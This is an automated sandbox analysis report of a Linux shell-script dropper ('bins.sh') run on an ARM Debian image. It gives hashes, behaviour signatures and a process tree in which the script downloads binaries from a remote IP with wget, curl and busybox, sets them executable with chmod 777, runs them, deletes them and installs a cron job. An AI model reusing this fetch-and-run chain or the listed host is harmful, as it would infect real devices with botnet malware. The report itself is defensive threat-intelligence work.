Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 04:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    17bab3e7840a5a55ca1843505176c109

  • SHA1

    faa9c551105564e09251292dfb6f02aa111a3b68

  • SHA256

    af8129a0e0fc46b8d506c1b26cc449456595b5c1aa3d8357ea3ee8ef3de1f1e4

  • SHA512

    c5dfb0a9fbde5edbaf798ef76296c172cdf427f57b34e116a3fdc0a3b68f4d5220d3836736a6dcd6b6745fbddcf6d5d5c7bcde12f047482c05fe7aa49457a394

  • SSDEEP

    96:N+++3H3MgiBztvR/0EnZwNtvR/0ErJ+IiuDjI/E+3H3MgEpbgX:o+t5ZP

Malware Config

Signatures

  • Contacts a large (2043) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:658
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:686
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          ./tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:705
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Writes file to tmp directory
            PID:717
          • /bin/chmod
            chmod 777 TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • File and Directory Permissions Modification
            PID:722
          • /tmp/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            ./TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
            • Executes dropped EXE
            PID:723
          • /bin/rm
            rm TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
            2⤵
              PID:725
            • /usr/bin/wget
              wget http://216.126.231.240/bins/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Writes file to tmp directory
              PID:726
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/chmod
              chmod 777 6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              ./6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:765
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:767
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:768
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:770
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:771
                • /bin/rm
                  rm 6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc
                  2⤵
                    PID:775
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/DP5zHx6ElNfzHN2jIDEwnI1nXSLunyhvQk
                    2⤵
                      PID:779

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/6YDjaZF0svRUeUENwmr0AmUmImqa0LjNmc

                    Filesize

                    177KB

                    MD5

                    786d75a158fe731feca3880f436082c0

                    SHA1

                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                    SHA256

                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                    SHA512

                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                  • /tmp/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1

                    Filesize

                    98KB

                    MD5

                    5141342d0df8699fa32a6b066a0c592e

                    SHA1

                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                    SHA256

                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                    SHA512

                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                  • /tmp/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj

                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                  • /var/spool/cron/crontabs/tmp.UggXDO

                    Filesize

                    210B

                    MD5

                    d42c5a7e451cc407e5e8781fcfae331a

                    SHA1

                    e6ef8e799d3b9a6f1ff64c82f5408c4c1ead68d1

                    SHA256

                    85cf564bddd82577ae50a34afd401d0c7c086b798f07a1c15808ad690591877d

                    SHA512

                    06906d56b182a53adb3e7ebb727795edd032c94a4881ad87efb4b6ccc4e59f9d88df72d692da56c647194256007b6cbc4fc7ff29cc5a25c88c4002dd7c621496